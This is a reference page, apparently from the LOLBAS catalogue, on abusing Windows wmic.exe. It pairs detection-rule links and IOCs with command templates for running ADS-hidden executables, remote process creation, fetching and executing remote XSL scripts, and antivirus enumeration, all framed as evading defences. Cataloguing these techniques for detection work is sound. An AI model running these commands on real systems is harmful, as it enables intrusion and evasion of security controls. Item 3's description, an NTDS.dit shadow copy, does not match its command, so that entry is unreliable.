.. /Wmic.exe

Star

Paths:

• C:\Windows\System32\wbem\wmic.exe
• C:\Windows\SysWOW64\wbem\wmic.exe

Resources:

• https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
• https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
• https://twitter.com/subTee/status/986234811944648707
• https://research.kudelskisecurity.com/2025/04/30/unmasking-blackbasta-inside-the-ransomware-syndicates-leaked-operations/

Acknowledgements:

• Casey Smith (@subtee)
• Avihay Eldad (@AvihayEldad)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml
• Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml
• Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
• Splunk: https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml
• Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml
• Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml
• Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml
• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOC: Wmic retrieving scripts from remote system/Internet location
• IOC: DotNet CLR libraries loaded into wmic.exe
• IOC: DotNet CLR Usage Log - wmic.exe.log
• IOC: wmiprvse.exe writing files

Alternate data streams

1. Execute a .EXE file stored as an Alternate Data Stream (ADS)

   wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

   Use case

   Execute binary file hidden in Alternate data streams to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004

   Tags

   Execute: EXE

Execute

1. Execute calc from wmic

   wmic.exe process call create "{CMD}"

   Use case

   Execute binary from wmic to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: CMD

2. Execute evil.exe on the remote system.

   wmic.exe /node:"192.168.0.1" process call create "{CMD}"

   Use case

   Execute binary on a remote system

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: CMD

   Execute: Remote

3. Create a volume shadow copy of NTDS.dit that can be copied.

   wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

   Use case

   Execute binary on remote system

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: XSL

   Execute: Remote

4. Executes JScript or VBScript embedded in the target remote XSL stylsheet.

   wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

   Use case

   Execute script from remote system

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: XSL

   Execute: Remote

5. Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

   WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState

   Use case

   Recon

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1518.001

   Tags

   Execute: Discovery

   Execute: Antivirus Enumeration

Copy

1. Copy file from source to destination.

   wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

   Use case

   Copy file.

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105